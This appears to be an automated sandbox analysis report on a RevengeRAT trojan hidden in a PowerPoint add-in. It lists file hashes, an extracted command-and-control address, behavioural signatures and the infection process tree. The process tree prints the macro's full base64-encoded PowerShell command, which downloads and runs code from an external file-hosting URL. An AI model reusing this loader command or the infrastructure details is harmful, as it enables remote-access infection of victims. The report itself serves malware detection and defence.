revengerat | 5c76a333a7cfdf96f03427f85d80216b48ab406e5b5d381f296f3c5af9746429

General

Target

9e726810be94f4426ca470f2054b1324494f4fd53cd3f3901c79b46e481042e4.ppam
Size

19KB
MD5

cbcc937ed1ac2f9cca45d47d7ab44b49
SHA1

4e45051c4e0af07f567407095fbed8cb3e1a032c
SHA256

9e726810be94f4426ca470f2054b1324494f4fd53cd3f3901c79b46e481042e4
SHA512

7d45eb38cd778b82cae617300a0bc8a0033c3978e9727d2a7932098e9b51d7e4df715d4a1dff4a76837a10a148fdac8997c38fb71cb46afd4ac5e1c4a9727ff6
SSDEEP

384:dXPYvQCahPS6U7rbHc1RaICb7PwFkqdKW9rAgZF2o2Z2FoeapDCsx3Dw:VPYryLU7rbHgaIEI5MacgZUhZk8C4zw

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	4760	220	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

39 4760 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4760 set thread context of 2024 4760 powershell.exe RegSvcs.exe

flow	pid	process
39	4760	powershell.exe

description	pid	process	target process
PID 4760 set thread context of 2024	4760	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

220 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4760 powershell.exe
4760 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4760 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXE

pid process

220 POWERPNT.EXE
220 POWERPNT.EXE
220 POWERPNT.EXE

pid	process
220	POWERPNT.EXE

pid	process
4760	powershell.exe
4760	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4760	powershell.exe

pid	process
220	POWERPNT.EXE
220	POWERPNT.EXE
220	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 220 wrote to memory of 4760	220	POWERPNT.EXE	powershell.exe
PID 220 wrote to memory of 4760	220	POWERPNT.EXE	powershell.exe
PID 4760 wrote to memory of 2024	4760	powershell.exe	RegSvcs.exe
PID 4760 wrote to memory of 2024	4760	powershell.exe	RegSvcs.exe
PID 4760 wrote to memory of 2024	4760	powershell.exe	RegSvcs.exe
PID 4760 wrote to memory of 2024	4760	powershell.exe	RegSvcs.exe
PID 4760 wrote to memory of 2024	4760	powershell.exe	RegSvcs.exe
PID 4760 wrote to memory of 2024	4760	powershell.exe	RegSvcs.exe
PID 4760 wrote to memory of 2024	4760	powershell.exe	RegSvcs.exe
PID 4760 wrote to memory of 2024	4760	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\9e726810be94f4426ca470f2054b1324494f4fd53cd3f3901c79b46e481042e4.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4760

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
PID:2024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wvwmzu4r.awe.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/220-189-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/220-134-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/220-136-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/220-137-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/220-138-0x00007FF889690000-0x00007FF8896A0000-memory.dmp

Filesize
64KB

Download
memory/220-139-0x00007FF889690000-0x00007FF8896A0000-memory.dmp

Filesize
64KB

Download
memory/220-159-0x0000025CCC3F0000-0x0000025CCC5F0000-memory.dmp

Filesize
2.0MB

Download
memory/220-190-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/220-135-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/220-188-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/220-191-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/220-133-0x00007FF88BAD0000-0x00007FF88BAE0000-memory.dmp

Filesize
64KB

Download
memory/2024-210-0x0000000004F30000-0x0000000004F40000-memory.dmp

Filesize
64KB

Download
memory/2024-208-0x00000000055E0000-0x0000000005B84000-memory.dmp

Filesize
5.6MB

Download
memory/2024-204-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2024-209-0x0000000004F30000-0x0000000004F40000-memory.dmp

Filesize
64KB

Download
memory/4760-165-0x000002284F910000-0x000002284F932000-memory.dmp

Filesize
136KB

Download
memory/4760-193-0x0000022868280000-0x0000022868298000-memory.dmp

Filesize
96KB

Download
memory/4760-192-0x0000022868280000-0x0000022868298000-memory.dmp

Filesize
96KB

Download
memory/4760-197-0x0000022868280000-0x0000022868298000-memory.dmp

Filesize
96KB

Download
memory/4760-199-0x0000022868280000-0x0000022868298000-memory.dmp

Filesize
96KB

Download
memory/4760-201-0x0000022868280000-0x0000022868298000-memory.dmp

Filesize
96KB

Download
memory/4760-203-0x0000022868280000-0x0000022868298000-memory.dmp

Filesize
96KB

Download
memory/4760-195-0x0000022868280000-0x0000022868298000-memory.dmp

Filesize
96KB

Download
memory/4760-205-0x00000228682A0000-0x00000228682A1000-memory.dmp

Filesize
4KB

Download
memory/4760-177-0x0000022867F20000-0x0000022867F30000-memory.dmp

Filesize
64KB

Download
memory/4760-176-0x0000022867F20000-0x0000022867F30000-memory.dmp

Filesize
64KB

Download
memory/4760-175-0x0000022867F20000-0x0000022867F30000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads